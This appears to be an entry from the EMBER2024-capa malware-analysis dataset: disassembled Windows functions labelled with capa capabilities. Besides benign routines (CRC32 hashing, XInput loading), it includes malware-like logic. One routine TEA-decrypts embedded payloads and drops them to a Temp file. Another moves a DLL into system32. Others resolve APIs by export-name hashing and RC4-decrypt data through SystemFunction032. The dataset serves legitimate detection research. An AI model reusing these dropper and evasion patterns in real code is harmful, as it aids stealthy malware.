joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a420
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140060040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140060880]
mov edi, ecx
cmp byte [rbx + 0x4d75], 0
jne 0x14001a481
cmp byte [rbx + 0x4d76], 0
jne 0x14001a481
movsx r9d, word [rbx + 0x5ee8]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140007020
test dil, 2
je 0x14001a5af
jmp 0x14001a50c
movss xmm1, dword [rbx + 0x39c4]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5ee8]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140058370]
mov edx, 0x10
mulss xmm1, dword [0x140058364]
addss xmm0, dword [rbx + 0xf8]
addss xmm1, dword [rbx + 0xfc]
mov qword [rbx + 0x4a68], rax
mov dword [rbx + 0x4a54], 1
movss dword [rbx + 0x4a60], xmm0
movss dword [rbx + 0x4a64], xmm1
movss xmm0, dword [rbx + 0x3a20]
mulss xmm0, dword [0x1400582cc]
or dword [rbx + 0x4a50], 0x41
movss dword [rbx + 0x4ab0], xmm0
call fcn.140007020
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001a560
lea r11, [0x140052ef0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001a543
cmp byte [r8], r9b
jne 0x14001a543
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001a530
not ecx
call fcn.14000ffe0
test rax, rax
je 0x14001a5af
cmp byte [rax + 0xca], 0
je 0x14001a5af
mov byte [rax + 0xcf], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd2], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xec], 1
mov edx, 0x10
inc word [rbx + 0x5ee8]
movsx r9d, word [rbx + 0x5ee8]
call fcn.140007020
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2030347
call fcn.140012ca0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14004f090
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140020390
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x6040], 0
lea rbx, [rcx + 0x6048]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140020437
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1400203ea
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140022e70
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140007c90
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x6040]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x6050]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140060878]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14002043f
mov rcx, rbx
call fcn.140007c90
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140020770
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x140060880]
xor ebp, ebp
cmp byte [rbx + 0x5f98], bpl
jne 0x14002084f
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140020848
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
call fcn.1400074a0
mov rsi, rax
test rax, rax
je 0x140020848
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x1400207d4
mov rcx, rax
call fcn.1400209a0
mov r8, qword [0x140060880]
test r8, r8
je 0x14002083f
movsx rdx, word [r8 + 0x6120]
lea rcx, [r8 + 0x6124]
mov r9d, dword [r8 + 0x3f88]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140020834
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6120], cx
movsx rax, cx
lea rcx, [r8 + 0x6124]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], ebp
inc word [rcx + 6]
inc dword [r8 + 0x611c]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov byte [rbx + 0x5f98], 1
movss xmm0, dword [rbx + 0x5f9c]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x1400208de
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x5f9c], xmm0
jb 0x1400208de
mov rdi, qword [rbx + 0x20]
test rdi, rdi
je 0x1400208d1
mov rax, qword [0x140060880]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
mov dword [rax + 0x5f9c], ebp
call fcn.140020c00
lea rdx, [0x140052a04]
mov rcx, rdi
mov rsi, rax
call fcn.1400072f0
mov rdi, rax
test rax, rax
je 0x1400208d8
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x1400208d8
mov byte [rbx + 0xce], 1
mov dword [rbx + 0x5f9c], ebp
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140020900
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140060880]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140020963
mov qword [rsp], rbx
lea rbx, [0x140052ef0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140020943
cmp byte [r8], r9b
jne 0x140020943
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140020930
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5fb0]
not eax
mov r8, qword [r10 + 0x5fb8]
lea rdx, [rcx + rcx*8]
lea rcx, [r8 + rdx*8]
cmp r8, rcx
je 0x14002098f
cmp dword [r8 + 8], eax
je 0x140020996
add r8, 0x48
cmp r8, rcx
jne 0x140020980
xor eax, eax
add rsp, 8
ret
mov rax, r8
add rsp, 8
ret
Function at 0x140036190
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x70
mov rax, qword [0x140060040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, qword [0x140060880]
mov rbp, rcx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400363ae
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400363ae
mov qword [rsp + 0x80], rbx
mov ecx, 0x50
mov qword [rsp + 0x88], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x140060880]
xor ebx, ebx
mov rdi, rax
test r8, r8
je 0x140036264
movsx rdx, word [r8 + 0x6120]
lea rax, [r8 + 0x6124]
mov r9d, dword [r8 + 0x3f88]
lea rax, [rax + rdx*8]
cmp dword [rax], r9d
je 0x140036259
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6120], cx
movsx rax, cx
lea rax, [rax*8 + 0x6124]
add rax, r8
mov dword [rax], r9d
mov dword [rax + 4], ebx
inc word [rax + 4]
inc dword [r8 + 0x6118]
test rdi, rdi
je 0x140036281
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
jmp 0x140036284
mov rdi, rbx
or dword [rsi + 0xc], 6
lea rax, [0x140057b48]
mov qword [rsi + 0x80], rax
mov qword [rsi + 0x90], rdi
mov qword [rdi], rbp
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
test r8, r8
je 0x1400362c7
mov rsi, qword [r8 + 0x90]
jmp 0x1400362ca
mov rsi, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rsi + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x1400362f5
mov dword [rsi + 0x2c], ebx
mov rax, qword [0x140060880]
mov rcx, qword [rax + 0x4b60]
mov rax, qword [rcx]
mov qword [rax + 0x28], rbp
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x30], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x38], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0x40], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x48], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x50], rax
mov byte [rdi + 0x31], 1
nop word [rax + rax]
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14003636e
inc rbx
cmp rbx, 5
jl 0x140036350
jmp 0x14003639a
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x38], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x48], rax
mov rdi, qword [rsp + 0x88]
mov al, 1
mov rbx, qword [rsp + 0x80]
jmp 0x1400363b0
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14004f090
mov rbp, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
Function at 0x14004dff0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x98
mov rax, qword [0x140060040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rcx, 0xfffffffffffffffe
call qword [sym.imp.USER32.dll_SetProcessDpiAwarenessContext]
lea rcx, [0x140060160]
call fcn.14004ecc0
test al, al
jne 0x14004e043
mov eax, 1
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14004f090
add rsp, 0x98
ret
call fcn.14004e2d0
test al, al
jne 0x14004e069
mov eax, 2
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14004f090
add rsp, 0x98
ret
mov ecx, 1
mov qword [rsp + 0x90], rbx
mov byte [0x140060100], 1
call fcn.14004f0b0
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rcx
lea r8, [0x14004e2a0]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov r9, rax
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14004e281
cmp dword [rsp + 0x38], ebx
je 0x14004e275
movaps xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004e275
cmp byte [0x140060100], bl
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
je 0x14004e21d
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004e145
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14004e110
mov rax, qword [0x140060880]
test rax, rax
je 0x14004e15a
mov rcx, qword [rax + 0x98]
jmp 0x14004e15d
mov rcx, rbx
cmp qword [rcx + 0x48], rbx
jne 0x14004e168
call fcn.140035960
call fcn.140036ba0
call fcn.14000d400
call fcn.140001600
cmp byte [0x140060101], bl
je 0x14004e184
call fcn.140001d00
cmp byte [0x140060128], bl
je 0x14004e191
call fcn.1400026d0
call fcn.14000f300
mov rcx, qword [0x140060890]
lea r8, [0x1400608a0]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rsp + 0x70], xmm0
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x140060890]
lea r8, [rsp + 0x70]
mov rdx, qword [0x1400608a0]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x140060880]
mov rcx, qword [rax + 0x4b60]
mov rax, qword [rcx]
mov rcx, rbx
add rax, 0x48
cmp byte [rax], cl
cmovne rcx, rax
call fcn.140034ef0
mov rcx, qword [0x140060898]
xor r8d, r8d
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x40]
cmp byte [0x140060100], bl
jne 0x14004e0f1
call fcn.14004e600
mov rcx, qword [0x1400601b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x1400608c8]
mov edx, 0xd8
mov rcx, rbx
call fcn.14004f3fc
test rbx, rbx
je 0x14004e253
mov qword [0x1400608c8], 0x8123
mov rbx, qword [rsp + 0x90]
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14004f090
add rsp, 0x98
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14004fcd0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004fd1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004fd1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004fd1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004fd1a
cmp dword [rcx + 0x84], 0xe
jbe 0x14004fd1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004fd1c
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Move file
Query environment variable

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
dec edx
jne 0x1800011ba
call fcn.1800011e0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800452c0], rax
test rax, rax
je 0x180001076
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x20]
lea ecx, [r9 + 3]
call rax
mov r9, qword [rsp + 0x30]
lea r8, str._I64X
lea rcx, [rsp + 0x50]
mov edx, 0x14
call fcn.180001a20
lea rax, str.1DAC335080B260C
lea r8, [rsp + 0x50]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800010a3
inc rax
test ecx, ecx
jne 0x180001090
test edx, edx
je 0x1800011b0
cmp dword [0x1800452bc], 0
jne 0x1800011b0
lea rcx, [0x180010a40]
mov qword [rsp + 0x80], rbx
mov dword [0x1800452bc], 1
mov qword [rsp + 0x70], rdi
call fcn.1800011e0
call fcn.180001330
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001200
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800014f0
mov ecx, 0x400
call fcn.180001aa8
mov ecx, 0x400
mov rbx, rax
call fcn.180001aa8
lea rcx, [0x180010c50]
mov r8d, 0x400
mov rdx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov rcx, rbx
call fcn.180001a68
mov ecx, 0x400
call fcn.180001aa8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r9, str._s_d.iao
mov dword [rsp + 0x28], eax
or r8, 0xffffffffffffffff
mov edx, 0x400
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call fcn.180001a44
lea rcx, str.c:windows_system32mstracer.dll
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, rdi
call fcn.180001a68
mov rcx, rbx
call fcn.180001a68
call fcn.1800011e0
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
call fcn.1800011e0
call fcn.1800011e0
mov eax, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x78
ret
Function at 0x180001200
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
movss xmm0, dword [0x180010c5c]
xor ebx, ebx
call fcn.18000cc40
movaps xmm5, xmm0
comiss xmm5, dword [0x180010c54]
jbe 0x1800012ac
lea rdx, [0x18003a5f0]
nop dword [rax]
mov r8d, dword [rdx]
mov r9d, dword [rdx + 4]
mov r10d, 0xc6ef3720
mov r11d, 0x20
mov ecx, r8d
mov eax, r8d
shl ecx, 4
shr eax, 5
add ecx, 0x4553926a
add eax, 0x3a3ba95f
xor ecx, eax
lea eax, [r10 + r8]
xor ecx, eax
sub r9d, ecx
mov ecx, r9d
mov eax, r9d
shr ecx, 5
shl eax, 4
add ecx, 0x16ab5973
sub eax, 0x61bcd54a
xor ecx, eax
lea eax, [r10 + r9]
add r10d, 0x61c88647
xor ecx, eax
sub r8d, ecx
dec r11
jne 0x180001243
inc ebx
mov dword [rdx], r8d
mov dword [rdx + 4], r9d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x180001230
mov qword [rsp + 0x30], 0
lea rcx, str.C:UsersLisaAppDataLocalTempMSServerTypeLib62821.dat
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001324
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x50]
lea rdx, [0x18003a5f0]
mov r8d, 0x9a00
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x40
pop rbx
ret
Function at 0x180001330
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
movss xmm0, dword [0x180010c58]
xor ebx, ebx
call fcn.18000cc40
movaps xmm5, xmm0
comiss xmm5, dword [0x180010c54]
jbe 0x180001409
lea rdx, [0x1800145f0]
nop word [rax + rax]
mov edi, dword [rdx]
mov r8d, dword [rdx + 4]
mov r9d, 0xc6ef3720
mov r10d, 0x20
nop word [rax + rax]
mov ecx, edi
mov eax, edi
shl ecx, 4
shr eax, 5
add ecx, 0x4553926a
add eax, 0x3a3ba95f
xor ecx, eax
lea eax, [r9 + rdi]
xor ecx, eax
sub r8d, ecx
mov ecx, r8d
mov eax, r8d
shr ecx, 5
shl eax, 4
add ecx, 0x16ab5973
sub eax, 0x61bcd54a
xor ecx, eax
lea eax, [r9 + r8]
add r9d, 0x61c88647
xor ecx, eax
sub edi, ecx
dec r10
jne 0x1800013a0
inc ebx
mov dword [rdx], edi
mov dword [rdx + 4], r8d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x180001380
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x50], 0
call fcn.180002570
xor edx, edx
lea rcx, str.C:UsersLisaAppDataLocalTempMSServerTypeLib62821.dat
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rdx
mov byte [rsp + rdx + 0x4f], al
test al, al
jne 0x180001430
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x30], 0
lea rdi, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
repne scasb al, byte [rdi]
movzx eax, word [0x180010b74]
lea rcx, [rsp + 0x50]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov word [rdi - 1], ax
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800014cd
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [0x1800145f0]
mov r8d, 0x26000
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180001a00
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x110
mov r15d, edx
mov rbp, rcx
test rcx, rcx
je 0x1400011a0
test edx, edx
je 0x1400011a0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400011a0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x1400011a0
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
xor esi, esi
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov r12d, dword [rsp + 0x90]
add r12, rbp
mov r13d, dword [r12 + 0x20]
mov ecx, dword [r12 + 0x1c]
add r13, rbp
mov edx, dword [r12 + 0x24]
add rcx, rbp
add rdx, rbp
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x160], rdx
cmp dword [r12 + 0x14], esi
jbe 0x1400011a0
nop dword [rax]
movzx eax, word [rdx + rsi*2]
xor ebx, ebx
mov edi, dword [r13 + rsi*4]
add rdi, rbp
mov r14d, dword [rcx + rax*4]
mov rcx, rdi
add r14, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
je 0x140001180
nop word [rax + rax]
movsx eax, byte [rdi + rcx]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140001150
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp r15d, eax
je 0x14000119b
inc esi
cmp esi, dword [r12 + 0x14]
jae 0x1400011a0
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x160]
jmp 0x140001120
mov rax, r14
jmp 0x1400011a2
xor eax, eax
mov rbx, qword [rsp + 0x158]
add rsp, 0x110
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001790
Capabilities:
Encode data using xor
Encrypt data using rc4 via systemfunction032

Disassembly:
sub rsp, 0x58
movzx r8d, byte [section..data]
xor edx, edx
xorps xmm0, xmm0
mov eax, edx
movups xmmword [rsp + 0x40], xmm0
cmp r8d, 0x78
je 0x1400017bc
nop
inc eax
mov ecx, r8d
xor ecx, eax
cmp ecx, 0x78
jne 0x1400017b0
mov r8, rdx
lea r9, section..data
nop word [rax + rax]
movzx ecx, al
xor cl, byte [r8 + r9]
lea r8, [r8 + 1]
sub cl, dl
inc edx
mov byte [rsp + r8 + 0x3f], cl
cmp edx, 0x10
jl 0x1400017d0
lea rax, [rsp + 0x40]
mov dword [rsp + 0x20], 0x10
mov qword [rsp + 0x28], rax
lea rcx, str.Advapi32
lea rax, [0x140003010]
mov dword [rsp + 0x24], 0x10
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x110
mov dword [rsp + 0x34], 0x110
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call rax
test eax, eax
jne 0x140001851
call fcn.1400011c0
xor eax, eax
add rsp, 0x58
ret